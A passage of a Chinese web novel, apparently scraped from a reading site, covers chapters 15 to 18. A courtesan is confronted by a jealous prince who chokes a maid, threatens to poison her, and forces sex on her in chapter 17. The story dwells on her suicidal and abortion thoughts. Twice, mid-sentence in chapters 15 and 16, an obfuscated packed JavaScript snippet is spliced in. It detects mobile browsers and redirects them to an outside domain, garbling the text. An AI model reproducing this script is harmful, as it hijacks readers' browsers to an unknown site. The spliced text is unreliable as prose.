秦思昭的手指轻抚她的镯子,只微微一笑,泠川如同被那些不堪的经历烫到一般,迅速把手抽了回来。 她双手握拳,额头上出了一层细密的冷汗。 “可是我太过鲁莽,让姑娘觉得不快了?” 秦思昭担忧地看着她。 泠川把手悄悄伸进袖子里,猛地一使劲,把那镯子生生拽了下来,手上红了一片。 她掩耳盗铃地把银镯子藏进袖笼里,结结巴巴地说: “没……没什么的……” 没戳穿她的窘迫,秦思昭淡然一笑道: “那不如我们一起去看戏吧” 泠川稀里糊涂地跟着秦思昭一起去了戏院。 二人来得仓促,只能有什么看什么,台上映了一场烂俗的戏码,名字叫芙蓉夫人。 剧情大概是汉使出塞遇到一名美丽的交趾少女,二人相爱后,汉使回到了中原,交趾少女独自养育大二人的孩子。 待孩子长大后,少女也成了一位妇人。她带孩子一起跋山涉水,千里迢迢地来到中原,却发现汉使早已成了驸马爷,娶了一位高贵的公主。 公主质疑交趾妇人的清白,为对男人表忠心,自证清白,妇人果断拔刀自刎,男人在后悔中度过余生。 真是好蠢的剧情。 泠川一边看一边拧起了眉头。 那个镯子上镶嵌的宝石硬硬地硌着她的小臂,泠川没来由地觉得悲伤。 不识庐山真面目,只缘身在此山中…… 若是在戏外,自然能对那女人的愚蠢高高在上地指指点点,可一旦成了戏中人,总是要有身不由己,被四面八方潮水一般的情绪裹挟的时候。 金盏正在侧后方磕着瓜子看戏,眼睛往下一看,那前排坐着的不是泠川姑娘吗? 再一看,她边上坐着的是谁?金盏被吓了一大跳。 15. 第 15 章 今日王爷不在,金盏便出来偷懒。 原本上演的是孙猴子大闹天宫的热闹戏码,金盏看得两眼发光,接连叫好,激动地差点把杯子丢下去。 可大闹天宫一谢幕,紧跟着上演的就是什么芙蓉夫人,看得她哈欠连天,连连走神。 她一边溜号一边腹诽,谁要看这哼哼唧唧,爱死爱活的戏码,从野外抓俩猴子上台都比这好看。 王府里就有两位祖宗天天爱死爱活的等着人伺候呢,她何苦倒掏钱来看? 这样的戏,王府里天天都上演,真是吃饱了撑得才来再看一遍。 哦对,他俩还是带粉戏的那种,尺度挺大。 金盏打了个哈欠,那两个祖宗应该倒赔她精神损失费还差不多。 她还不如去赌蛐蛐玩呢。 可来都来了,铜板也花了,金盏只得强打精神瞪大了眼。 可这一瞪大了眼,她就发现了坐在前排的……泠川姑娘…… 她旁边还坐着一个清秀男子,二人时不时地眉来眼去。 嚯——真新鲜呐! 这可比台上唱的戏好看。 金盏瞪大了眼睛,仔细瞧那男子,虽然只看了个侧脸,她也在心里把他和顾时仔细比较了一番。 看起来这位男子的身形比王爷的要单薄一点,斯斯文文的,长相倒是俊的,但看起来比王爷更阴柔一些,乍一看好似个大姑娘。 阿弥陀佛阿弥陀佛……多一事不如少一事,她今天就当什么都没看到吧…… 金盏的心跳得飞快,要是她把今天的事说出去,不就相当于主动承认自己偷懒了吗。 她悄悄地从后门溜出去,不惊扰任何人,回到了王府。 一出戏演完,泠川同秦思昭一起去街上走走。 “这出戏没什么意思。” 泠川闷闷不乐地说。 她想,自己若是同那芙蓉夫人一般一抹脖子死了,对于顾时来说充其量也就是个茶余饭后的风流韵事罢了,死得像一出烂俗的戏码一样蠢。 说不定她连死了都要被坊间酸溜溜地写几首艳诗,从中凝视出几分浪漫来,然后过一两年她就被顾时忘得一干二净,什么也落不着。 秦思昭可能会领着他未来的妻子到她的坟墓前,一边给她扫墓,一边惆怅地说: “她叫泠川,死得很可怜,可惜了,当初我还喜欢过她。” 光是想到那一幕,她就恨不能从坟墓里爬出来,拉他一起下去。 泠川不想白白地死。 她将手抚在胸口,安慰自己。 等她到了八十岁,老得掉牙,到了那时就再也没人会用是否贞洁来评价她了……到了那个时候,她只会笑笑,说我年轻的时候也风流过。 可是现在该怎么办…… 她总不能剥夺自己此时此刻的感官。 看着秦思昭的脸,她就觉得呼吸急促,半个字都说不出来。 逼迫自己对着秦思昭坦白早已失节还怀有身孕这种难以启齿的事,实在是太残忍了。 “泠川,我进京赶考就是为了和你相遇的。” 她看着他笑意盈盈的眼睛,习惯性地反驳道。 “您进京赶考是为了考取功名,怎会和我有关?” “荣儿……” 他看起来有点惆怅, “你还记得自己的名字吗?陶金荣姑娘?” 泠川忽然浑身发抖,呼吸急促,几乎喘不过来气。 她觉得自己的灵魂躲到了很远很远的地方,遥远地看着自己麻木冰冷的躯体。 悲凉凄惨的情绪占了上风,她顾不上质问秦思昭为何知道她的真名。 她只有一个想法,明明她已经在努力把自己的真名忘掉了,他为什么要提起? 他究竟凭什么叫她的名字? “别说了……我现在是泠川……别再那样叫我了……我不想听!” 泠川是王府里人尽皆知的玩意儿,是顾时你情我愿的姘头,是浑身上下只戴着璎珞圈在西洋镜前扭动腰肢的妓子。 泠川这个名字是王爷取的,金盏这个名字也是王爷取的,二人别无二致。金盏存在的意义是给王爷干活,她存在的意义是给王爷取乐。 泠川是顾时玩腻了就随手丢掉的活玩具。她气急了打他跟猫挠主人两下子没什么区别,她照样是个玩意儿。 陶金荣是爹娘的宝贝独生女儿,是每天都欢快的小姑娘,她每天都在学怎么记账本,满怀希望地打算继承爹娘经营了一辈子的小酒家。 她爹娘学问不高,她的名字有点土气,但名字里满满的全是爹娘的期待和爱意。 泠川和陶金荣怎么能一样呢! 泠川和陶金荣怎么能是同一个人呢! “你别说了……我不是陶金荣!” 她快速冷静下来,简直像换了个人。 “秦公子,这些日子里谢谢你的好意,你认错人了……” 她牙齿轻轻打颤,转身便想走,却被秦思昭伸手拦住。 他直接挡在她身前,用身形把她往后压了一压。 “若是没有过目不忘的本事,我如何能一边精进医术一边中状元。荣儿未免也太小瞧我了。” 她仰起头,愤恨地瞪着秦思昭, “秦思昭,你不要逼我,我是泠川,不是陶金荣!” 陶金荣不能变成泠川,她只是个天真洋溢的小酒家女儿,她不能不到十五岁就被那个引诱她的姘头拿两句甜言蜜语就骗到床上,不能早早失节,被糟践到怀上身孕又随手打发给趋炎附势之徒。 她不允许这些可怕糟糕的事发生在陶金荣身上。 所以她只能是泠川,不能是陶金荣。 “秦公子,你真的认错人了。也许我们只是长得很像而已。” 泠川在犹豫着骗他说自己有个叫陶金荣的双胞胎妹妹有几分可信度,但这个谎言实在是蠢到离谱,她不觉得状元郎的脑子会信这种胡话。 更何况刚才她还说了“别再那样叫我”这种话。 她咬着牙,说道, “我只做的成泠川,做不成陶金荣了……我不是你记忆里的那个荣儿,我回不去了。以后我不会再来找你,你也把我……忘了吧……” 她转过身,眼泪止不住地流了下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310333|182893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 泠川的身子和脑子都木呆呆的,她几乎不知道自己是如何回的王府。 她洗了把脸,不想被人看出自己的无助,缩在被窝里哭了起来。 秦思昭竟然喜欢的是陶金荣……可她已经回不去了…… 她在记忆里搜刮着秦思昭的影子,却把自己的心刮得生疼,她没有一丁点勇气去回忆她和秦思昭是何时相遇,他又是何时对她有意的。 不管他是什么时候喜欢上了那个小荣儿,那都已经晚了,她跟顾时在床上搞过八百次,早就已经做不回陶金荣了。 他是怀着对小荣儿的爱意才喜欢上现在的泠川…… 可人人心底都知道泠川是顾时的姘头,只是忌惮王爷的面子,嘴上不说而已。 满身罪孽,不清不白的泠川怎能借那个小荣儿的光。 金盏见泠川脸色有些古怪,只独自一人匆匆进了屋子反锁了门。金盏心里虽有些纳闷,但也没有上前,只假装自己很忙。 她的脸色可不像是热恋,反倒苍白得很,像被人打了一顿似的。 次日早上,金盏心想泠川别吊死在里头,便悄悄把窗户纸扣了个洞,深吸一口气,做好了心理准备,偷偷看她。 “我没死,别看了……” 泠川病恹恹地躺在床上,金盏吓得一激灵,自己竟然被发现了。 可昨日她同那男子一起去看戏,高兴的样子可作不得假。 她可不敢这个时候上前关心泠川,要是她一抽风,一五一十地全跟她交代了,到时候她真是左右为难,不知道该不该把此事上报给王爷。 金盏一边收拾院子一边想,若是王爷愿意赔上嫁妆把泠川嫁出去,那皆大欢喜,若是他不愿意……阿弥陀佛,跟她金盏一点关系都没。 她两只眼睛咕噜咕噜转,已经在想事发之后自己该如何撇清关系了。 要照金盏说,干了坏事之后还是要多多少少愧疚一点的,因为如果一丁点都不觉得自己有错,那就很容易把自己干过的坏事随口说出去。 于是她现在努力让自己产生对王爷的愧疚。 “呜呜呜,王爷我对不起你呀,我为了给自己减少点负担,没有把泠川姑娘的行踪全部汇报给您,我真的对不起啊。” 金盏用帕子掩着脸,小声假哭。 假哭完了后,金盏翻了个白眼……不怎么起效果呀。 她对“主子”的愧疚心本就很薄弱,对顾时这个动不动就上演活春宫的主子更是起不了一丁点愧疚心。 再说本就是他先要把泠川嫁出去,她为自己打算,勾搭个男人算不得什么错误,她又不是王爷的小妾。 “哎呦……王爷……您怎么这么快就回来了……” 顾时阴沉着一张脸,想到泠川竟那样暧昧地坐在男人的马上,手上还戴着他的镯子,他就心烦意乱,简直像有一千只虫子往他的心尖上钻。 昨晚他几乎一夜没睡,公务也几乎进行不下去。 强打着精神做完了最要紧的公务,他再也忍耐不住,急匆匆地回到了王府。 泠川怎么敢那样对他?凭什么害得他茶不思饭不想? 16. 第 16 章 顾时急匆匆地要进泠川的房间,金盏象征性地拦上一拦, “王爷,泠川姑娘恐怕身子有些不适,现在不方便呢。” 她瞧着泠川脸色苍白,便猜想她是不是来月事了。 顾时冷着脸,单手掐上金盏的脖子, “我不在的时候,泠川去哪了?给我说!” 金盏两眼翻白,双腿直蹬, “王爷饶命,王爷饶命。” 终于,顾时松开了她,她咬紧下嘴唇,屈辱地跪在了地上。 “是金盏失职,疏忽了姑娘的去向,还请王爷饶命。” 她急促地呼吸,双眼涨红,心想莫不是王爷还派了别的暗卫跟踪泠川。 在金盏发愣的时候,顾时已经大步流星地进去找泠川算账了。 她没忍住长舒一口气,王爷别注意到她玩忽职守最好,有气全都冲着泠川去撒吧。 泠川惨白着脸躺在床上,脸上还有泪痕,她眼下的泪沟又深了一些,目光凄切无神,嘴唇干燥开裂,微微发抖。 “顾时,你来做什么……” 她哭了一阵,声音有些沙哑。 顾时原本是气冲冲地来找泠川算账,见她此状也只得偃旗息鼓,去寻了她用惯了的蜜蜡甲煎口脂,亲手给她涂到唇上。 她嘴唇干裂的地方硬硬地划过他的指尖。 “你怎么了……怎这样没有精神?” 他心想,自己莫非是那日里看岔眼了,那马上的女子并不是泠川,是他错怪了她。 顾时把她细细的手腕捧在手心里, “我送你的那个镯子去哪了?” 泠川摇摇头, “金盏收起来了……” 他把她抱在怀里,一只手拖着她的脸颊, “怎的这般没精神……我不会同杨若云成亲,你快点打起精神来吧。” 顾时以为泠川还在为了他要成亲的事劳神。 泠川把一只纤细骨节分明的手搭在顾时的脖子上,在想象中把他掐死。 死亡的念头总是缠着她不放,她真想杀掉顾时,她想杀了他解心头之恨,又想惩罚自己曾经对他的爱。 他抱住了她,泠川的双眼变得有些迷惘,他究竟知不知道,自己抱住的是一个想杀掉他的人。 想起自己腹中还怀了他的孩子,泠川就觉得凄凉。 他为什么能一边待她温柔,一边又对她做出如此残忍的事。 未婚的女子,或是待字闺中,或是丫鬟仆妇,一旦怀上孩子,便会迅速沦落到任人拿捏的境地。 若是狠心,便把女子撵出去,流落街头,或打或杀或卖,任人发落。若是厚道一点的,顶多也就弄个外室的身份养在外面。 “顾时,你会杀掉我吗?” 她无助地看着他。 “好端端的,说这个干什么,我何时对你喊打喊杀过。” 顾时亲了亲她的额头。 金盏鬼鬼祟祟地站在外面,从窗户纸戳出来的那个洞上往里偷看,被这一幕辣到了眼睛。 老天爷,顾时都气冲冲地进来了,怎么不对着泠川发火呢? 哦他不舍得是吧。 金盏在心中冷笑,哼,他是不舍得碰泠川一个指头,等出来之后越想越气,到时候火都撒到她的身上了。 她一个丫鬟,任打任杀的,到时候可如何是好。 与其等着顾时发落,倒不如主动出击,把自己看到的东西说出来…… 但是得说得有余地些,不能把话说死。 可是按照她的经验,这个时候,他们二人又要开始上演活春宫了。 万一顾时做完之后就消气了,对泠川高高拿起,轻轻放下,自己却挑这个时候上前挑拨离间,那岂不是拱火? 金盏决定暂时闭嘴。 “泠川,我不在的时日你去哪了?我似乎在街上看到了你?” 疑虑笼罩他的心头,顾时还是没忍住开口说道。 “在哪条街上?” 泠川只病恹恹地瞧他一眼,她和秦思昭也没可能了,被瞧见就瞧见了,也没什么大不了的。 “柳枝街,离王府不远。” “怎么,难道我还不能单独出门吗?” 泠川委屈道。 “我不是说你不能单独出门,我是在问你,我不在的时候,你究竟和谁一起出去了?” 见泠川沉默,顾时直接把金盏叫了进来。 “金盏,跪下!” 金盏只好窝窝囊囊地跪下,规规矩矩。 “我不在的这些时日里,泠川去哪了!” 她一咬牙,心想这回只能如实说了,心里把顾时诅咒了八百次后,金盏唯唯诺诺道: “王爷恕罪,泠川小姐出门,我也特意悄悄跟着……不敢疏忽……只见她去戏院看戏,我便也跟着进去了。” 她看了看泠川的脸色,面如黄纸道: “泠川小姐同一位长相略显阴柔的公子一起看戏,言笑晏晏……奴婢不敢多看呀……” 泠川倒神色如常,略带一点厌倦地歪在顾时怀里。 “泠川,若是你坏了名声,别人只会说我治家不严,反倒连累王府丢脸,你说我该拿你怎么办?” 顾时为泠川私会其他男子而感到一种货真价实的愤怒,可他和泠川无名无分,又不得不摆出一种大度的余裕。 他压制着自己的声音,用力控制住泠川的手臂,她的身子热腾腾地压在他的身上,弄得他又愤怒又莫名觉得燥热。 泠川只把头靠在他的肩膀上,闷闷地不作声。 “你在柳枝街坐在一男子马上,乃是我亲眼所见,快点交代那男子是谁?” 他抓住泠川的头发,她下巴扬起,露出一个尖锐的弧度。 “若是你与不三不四之人搅合在一起,只会坏了王府的名声……再说,若无我运作,怎会有人愿意娶你?无非是想玩弄你一番罢了。你快说那人是谁?” “杨若云。” 泠川低着头说: “杨若云说教我骑马,我当时穿了一身襦裙不方便,她直接把我抱到马上……你看到的人是她。” “可是你怎会同她搅合在一起?” 顾时眉头紧锁,杨若云曾经和他有婚配的意向,她们二人应该彼此不对付,甚至互相陷害才对,怎会一起骑马? 泠川冷笑道: “顾时,你难道还真觉得自己是什么稀罕物件,人人都想抢么?是杨若云特意来求我阻拦这桩婚事,就是因为她不想嫁给你。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310334|182893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那你是受人所托才阻止我和她成亲的……” 泠川点头道: “正是如此。” 注意到顾时的脸色不对,金盏赶紧借坡下驴。 “对对对……是若云小姐……我看到的那个公子哥活脱脱像个姑娘家呢,一开始我还没反应过来是谁,如今姑娘一说我便想起来了,不就是若云小姐吗!” 泠川没忍住笑出了眼泪,拿帕子擦了一擦。 “王爷的疑心可消了吧。” 她跟金盏交换了一个眼色。 “滚出去!” 这句话是顾时对着金盏说的。 金盏麻溜地退了出去,此时屋内又只剩下顾时和泠川二人。 一种更大的愤怒从他的心头涌起,原来泠川阻止他和杨若云成亲是受人所托罢了,而不是为了他。 希望瞬间落空,顾时不想再用任何温和的态度对待她,只冷冰冰地瞥了她一眼。 亏自己先前还真心考虑了要和泠川成亲,真是可笑至极,她根本不配。 她有什么好的?他的视线把泠川从头扫到了脚,不屑地看着她领口微松露出来的一小片皮肤。 无非是拿着一具美艳皮囊来勾引他,又用忽冷忽热的态度来钓着他罢了,没什么特别之处。 她根本不特别,就是个虚荣美艳的玩意,像这种女人要多少有多少,他怎能真心考虑过娶她? 他单手扣住她的下巴,强迫她和自己对视,她的双眼冷漠而美艳,就像森林里的一条小蛇。 为什么他要在乎一个玩具是不是爱他,这简直可笑。 可是他就是失控地在乎她是否爱他,只要看到她冷冰冰的双眼,他就会近乎偏执地从她这里索求爱意。 他为了这样的自己而真心感到愤怒。 “泠川,你大可死心,我是不会同你成亲的。” 他的指尖划过她的锁骨,几分羞辱,几分挑逗。 顾时冷笑道: “我不过花笔小钱把你养起来就能随意玩弄你,又何苦把你娶进家门给你正室之位?哪怕是当妾室你也不配。” 他一边用冷冰冰的话语刺她,一边又把手伸进她的衣领子里。 泠川并没有愤怒,而是叹了口气: “我早就知道。” 她转过头,没有看顾时。 “那我还能怎么办呢。” 他把她的脸强行转过来同他接吻,泠川没有回应,也没有反抗,只冷冰冰的,这更加激怒了顾时。 “泠川,你有好好喝避子汤吗?” 她惨白着脸,怕被他揭穿自己怀孕的事实。 顾时冷笑道: “你该不会想悄悄怀孕生下我的孩子吧……真以为你生下长子就能母凭子贵?要是你敢在子嗣的事上动手脚算计我,我就把你悄悄毒死丢到乱葬岗去……” “横竖你家里也没人了,无人会为你伸冤,到时候连为你掉一滴泪的人都没有。” 啪—— 一个耳光扇在了顾时的脸上,泠川的脸色苍白又凄切。 他不怒反笑,单手扣住她的双腕,直接把她按倒在了床上,另一只手熟练地解开她的腰带。 “你的腰带每次都是同一种系法儿,没有新意,甚是没趣儿。” 17. 第 17 章 “泠川,你肚兜后面系的扣子,我已经熟悉到闭着眼都能把它解开了。” 他有意羞辱泠川,把她的肚兜扯下来,在她眼前晃来晃去,她只能堪堪用一层单薄的外衣遮羞。 “你还遮遮掩掩地做什么……我养活你不就是干这个用的吗?再说,你不也有得了趣的时候,挺乐在其中的吗?” 她闭紧双眼,咬着下唇,不出发出半点声音。 他满怀恶意又熟练地刺激着她,逼她出声。 “紧紧夹着做什么……倒不如再张开些,与我个方便。” 他讽刺一笑,搂着她的腰,凑到她耳畔说: “哦,对,你说过把腿夹起来反倒更能得趣是吧……” “闭嘴!” 泠川原本面色惨白,在他的不断刺激下也变得涨红, “停手……放开我……” 他完全不理会她的抗拒,猛地用力扳开她的膝盖。 耻辱心让泠川使劲挣扎了两下,却无济于事。 事后,顾时满怀恶意地贴着她耳畔问: “一开始还挺抗拒的,结果两三下后又同从前一样了……泠川,你何苦反抗那两下子?以为假模假式地扭两下就变成贞洁烈女了?” 他特地命金盏熬了碗避子汤来,亲手递到泠川面前。 “老老实实地把避子汤喝了吧,你别想生下我的孩子。” 她嘴唇发抖,接过一碗汤药,手抖着一口气把药闷了,她也不怕吃药。 “无非就是一碗汤药,我喝便喝了,没什么可矫情的。” 她不知这避子汤是否会对她腹中的胎儿产生影响……但她现在只想苟活下去,她家里是没人了,可是她还答应过秦思昭不能寻死。 虽然她没脸再去见他,但她希望自己能守住对他的承诺。 泠川没看顾时的眼睛,犹豫几次,最终还是开口试探道: “若是我意外怀孕,只悄悄打掉就是了……你为什么要把我毒死?” “哪有什么意外?不过是你处心积虑算计我,故意怀上我的孩子,想让我为难……你说我怎能留一个故意算计我的女人在身边?” 他一只手掐上她的脖子。 “再说我想弄死你就弄死你,需要什么理由?我杀了你就跟捏死一只蚂蚁一样简单,难道还能有人冒着得罪我的风险给你伸冤不成?” 泠川露出求饶的表情。 “放过我吧,我知道了……” 她不自觉地捂住了肚子,最好是瞒着王爷,神不知鬼不觉地把腹中这个胎儿解决掉,这样她还有几分活路。 顾时松开手冷笑道: “你平时不是寻死觅活的,从来不怕死吗?怎么今天反倒知道怕了?” 泠川心想,因为她答应过秦思昭不能死,这个承诺是他们相遇过的证据,所以她必须遵守。 “因为我想通了……” 她低下头,一副服输了的样子。 顾时伸手摸了摸她的头发,心里却莫名难过。 他并不是要拿性命要挟,令泠川对他卑躬屈膝,他只是因泠川不像他想象中那样爱他而恼羞成怒。 他想跟泠川解释说他刚才都是在说气话,可是又拉不下这个面子。 “你只要一切都听从我的,我不会把你怎么样。” 她低着头,只低声道: “王爷还有公务要处理,别在这里浪费时间了。” 听出了泠川的言外之意是要赶他走,顾时又觉得火气上涌。 “我确实在宫中还有公务要处理,但也不想纵着你独自在王府潇洒……你不如跟在我身边伺候。” 他一字一顿,咬牙切齿地说。 泠川的脸色变得惨白,她怀孕的事不能再拖下去了,她得赶紧趁顾时不在去找女医寻个堕胎的法子。 “这恐怕不合规矩……我不敢去……” 他反手扣住她的手腕,笑道: “不合规矩的事多了,我们也没少干,待我登基之后,想怎么不合规矩就怎么不合规矩,谁能管得了我?” 泠川犹豫着开口: “王爷,待您登基后,只求你给我一处宅子,每月发些银两……我一个人将就着过就是了,绝不会打扰您。” “怎么,你要跟我断绝关系?各过各的?” 顾时气得摔了一个杯子。 “也对,到时候我三宫六院七十二妃,很快就把你忘了,你倒也聪明,不来凑这个热闹。” 顾时发了一通火,泠川也没心思去哄他,满脑子都是怎么解决腹中胎儿的事。 他见泠川神游天外,气得直接把她衣衫不整地抱到马车里,直接带她去了皇宫。 泠川没穿里衣,只穿了一件外衣,薄薄地搭在单薄的身体上,她只得披着顾时的外套。 他摸了摸她的后脊骨,冷哼一声: “让你长个记性。” 泠川只得借了一身宫女的衣裳换上,顾时看了颇为不喜,她略带冷冽的气质和宫女的草绿色衣衫并不相称,平白减了几分姿色。 他传唤了相熟的老宫女: “把那件缥色越罗襦裙拿来。” 老宫女露出惊讶的神色,又确认了一遍: “真要拿那件越罗襦裙么?” 他点点头。 过了一会儿,老宫女找出了一个金丝楠木的旧箱子,里面的越罗襦裙已经半旧,但依旧能看出不凡的质感。 “给她把这件裙子换上吧。” 老宫女只点头称是,颤颤巍巍地把越罗襦裙拿出,生怕一个不小心把这襦裙弄坏了。 “姑娘,这裙子贵重,可糟蹋不得,您要穿得仔细些,千万别弄坏了。” 她有些纳闷,再贵重也无非就是一件裙子,不管是什么样的绫罗绸缎,她在王府里都糟蹋好多了,怎么偏偏这件裙子就糟蹋不得? 而且这件裙子看起来还有点年头了呢…… 这样淡青色的半旧裙子,若是别的姑娘穿上恐怕有几分老气,可泠川穿上却给她妩媚冷冽的双眼添了几分疏离。 这裙子已经半旧褪色,但因此却更显得华贵不凡,寒光凛凛。 老宫女看着她,感叹道: “若是太妃有个女儿,恐怕也是这般神仙模样。” 她用帕子拭泪道: “可惜太妃走得太早了……她貌美动人的样子还时常浮现在我眼前……她的双眼总是冷冰冰的,可心肠却是热极了的。”< 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那老宫女见状,赶紧上前劝道: “姑娘,那可是老太妃的遗物啊……” 泠川的脸瞬间因羞愧而红透了,自己确实不对,竟然无意中弄脏了顾时母亲的遗物。 可她还在气头上,便对着老宫女说: “那快点把这身衣裳脱下来吧……如此贵重,要是弄脏弄坏了我可担待不起。” 老宫女十分为难,看向顾时。 他却只一味处理一些公务,表情平淡无波。 “泠川,我这些日子还要接见几个大臣,很多工作需要交接,你先住下吧,宫闱重地,由不得你没规矩地胡闹。” 她心想自己腹中还有个胎儿没解决,便惴惴不安起来。 “我……我也没理住在这儿,我还是把衣裳还给你,自己回去吧……” 那老宫女看了看顾时的眼色,说: “姑娘不如先在琮翠殿住下吧……那里一直都收拾得很干净呢……” 顾时点了点头。 “那便带她去琮翠殿吧。” 泠川走在皇宫里,莫名觉得身旁的宫女都在斜着眼看她,她红着脸低下头去,估计她们都在揣测自己和顾时是什么关系,在背后嚼舌根呢。 这皇宫待着可真别扭,她什么身份都不是,根本没资格来。 那一道道视线像钝刀子一样割在她的身上,泠川觉得难受极了。 “姑娘,不要紧张,琮翠殿是王爷小时候住的地方,一直都收拾的很干净呢。” 那老宫女似乎看出她的别扭,出言安慰道。 泠川没心思去想让她住琮翠殿是什么意思,无意识地捂住了自己的肚子,她希望自己能显怀得慢一些。 她绝望地想,自己总不能去求助宫里的御医帮她堕胎吧……宫里都是顾时的人,眼线密密麻麻,肯定很快就会暴露的…… 顾时都已经把话说绝了,难道她真的要赌他会对她心软么?她还没蠢到那个份上。 18. 第 18 章 进琮翠殿后,泠川总是觉得坐立难安。 周围的环境总是让她觉得很陌生,那些陌生宫女的视线让她无地自容。 “我……我还是回王府吧……没名没分的,我没身份留在这儿……” 她不想穿着顾时母亲的旧衣,住在顾时小时候住的地方。 老宫女露出一个老练的笑容: “姑娘真傻,有没有名分,到时候不就是王爷一句话的事儿吗……您只乖乖地听从安排就是,到时候该是您的还是您的。” 老宫女略带不解的声音一下刺怒了泠川,她怒气冲冲地看着她略微下垂的眼睛。 她究竟把她当成什么东西了?一个趋炎附势的玩物吗? 她真是一分一秒都不想留在琮翠殿。 老宫女只低声笑了起来。 “姑娘,您可真是喜怒无常。您的脾气让我想到一个人……” 泠川相当不耐烦地把身上的故衣脱掉, “这么贵重的东西我伺候不起,您赶紧把它收起来,再给我换身新的,还有,别乱说话,我跟顾时没什么关系。” 老宫女无奈,只能又给她拿了一身新裁的深绿色襦裙。 “目前王爷已经在接管宫中的事务啦……王爷心善,一人一笔银两,放老宫妃们改嫁回家了……似乎还要废除六宫和大选呢……宫人也一人一笔银两,裁了一小半放出宫去。” “哦,对,还有宦官也被王爷废除了呢。王爷对于我们这些下人一向是体恤的,往后每工作五天就能休两天假,休假期间还能出宫去呢。” 泠川皱着眉, “别念叨了,与我何干,我不想听。” 是,顾时即将手掌大权不假,可无非也只是能更方便地折磨她罢了。 更别说她还抢在皇后前面,没名没分地怀上了第一个皇嗣,就算顾时留她一命,他未来的妻子又怎能容忍她抢在前面生下第一个孩子? 他未来的妻子一定会视她为一个大威胁,只有泠川自己知道,她在顾时眼里什么都不算。 泠川的出身连小门小户都算不上,她可不想自不量力地去参合宫斗。 而且和顾时有了孩子,她就得跟顾时绑定一辈子……到时候那个孩子要叫顾时爹,管她叫娘…… 光是想想那一刻,泠川就觉得恶心又抵触,跟顾时这样的男人玩几次她也认了,她可不想真一辈子留在他身边。 她一定得悄悄把这个孩子解决掉……但若是鲁莽行事,恐怕有性命之忧。 顾时和泠川一样坐立不安,他没法集中精力去处理公务。 每每想到泠川可能不爱他,他的内心深处就会产生一种惊恐不安的感觉,这种感觉就像泠川对他做出了违反自然常理的行为。 一种灰暗冰冷的凄凉感从他的喉咙蔓延开,扩散成越来越大的水晕,他不想陷入这种患得患失的困境里,就像把一条鱼从水里丢到岸上,即使奋力挣扎也无法前进半步。 他得去见到她……他想感受她手指冰凉的温度,只要用手心把她的指尖焐热,他就可以骗自己泠川的指尖是为他而热的。 走进琮翠殿,他想起了自己的母亲。 她总是冷冰冰地看着他,歇斯底里地冲他发火,他知道他的母亲不爱他,但是他理解他的母亲。 毕竟要伺候先帝那样一个畸形丑陋的怪物,换谁谁都会发疯,他不怪她,他只恨他那没有血缘关系的“父亲”用一副毒药把他的母亲害得状若痴傻,变成一个没有喜怒的怪物。 在她生命的最后时刻,他只希望她能重新和他说说话,哪怕是打骂都可以……可是她被害得半个字都说不出来了。 皇族一脉明明是畸形丑陋的怪物,却要为了所谓的传宗接代,祸害一个又一个健全美丽的女人……顾时憎恶这样的皇室。 他真希望自己没有一丁点皇室血脉,是个私通的产物。 可他又怕自己真是个得了老天眷顾的幸运儿,体内依旧有那畸形的血脉……他害怕那畸形的双腿报应在他的下一代身上。 进入琮翠殿,泠川的手臂像一条阴冷的绿蛇,延伸到床榻下,他过去握住她的手,至少泠川爱他。 “即使继位,我也不会为皇室开枝散叶,传宗接代……” 他用自己的面颊感受她手心的温度,顾时沉默了片刻,为他说出这种本来不想说出口,甚至不知道从哪来的话而感到惊讶。 他简直像是在跟泠川保证什么似的。这算什么?永远不会背叛她的某种承诺吗? 他总不能真的向泠川吐露许多深情款款的话语,这已经是最大的让步了…… 顾时意识到自己不能再示弱,便硬着头皮补充道: “除非有人能令我改变心意。” 他嘴唇微微发抖,鼓足勇气抬起头看她的表情。 她似乎已经在计划着怎么把他的退让变成抽在他头上的鞭子,利用他的无助来虐待他了。 顾时心想,那也没办法,他认了。 他感受到了一种怯懦又令他作呕的满足,就像对一种低劣的诱惑就范,他不知道自己应该感到厌恶还是喜悦。 宫女们识趣地出去,但也只站在离宫殿几步远的地方,宫内会发生什么并不难猜。 顾时伸手想去解她衣衫前打的结,却被她阻止。 “你想让皇宫里的宫女都知道吗?” 耻辱让泠川涨红了脸,她的语气里透露着些许怨恨。 她可不想在皇宫里落下这种名声,就像被突如其来地亵渎了一般。 顾时冷笑: “你以为现在还有谁不知道吗?这年头连寡妇看了一个男人两眼都要被人编排,谁会相信孤男寡女一起生活六年还能清清白白?” 泠川咬紧牙关,怨恨地骂道: “反正也碍不着你的事!” 真是不公平……她斜着眼睛瞟他,怨恨地想,凭什么他可以在摧毁她的人生后,轻轻松松地拍屁股走人,甚至还能毫无代价地登上皇位。 她不过是一个平民的女儿,却被贵族因一时兴起而拉上一辆糜烂华贵的马车。 活下去的欲望和恨意又一起从她内心萌生。 如果想死,那大可以心灰意冷地无视掉顾时。但如果想活下去,顾时就是她不得不面对的一个怪物,一个她生存的障碍,一个必须被解决 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泠川也知道,她只要学会逆来顺受,退后一步,降低标准就能免受折磨,只要让自己的内心感到麻木,那些痛苦就不再是难以忍受的了。 如果她完全没感受过幸福和爱,便也能麻木地活下去了,可偏偏她原本也吃穿不愁,过着平淡幸福,父母恩爱的布衣生活。 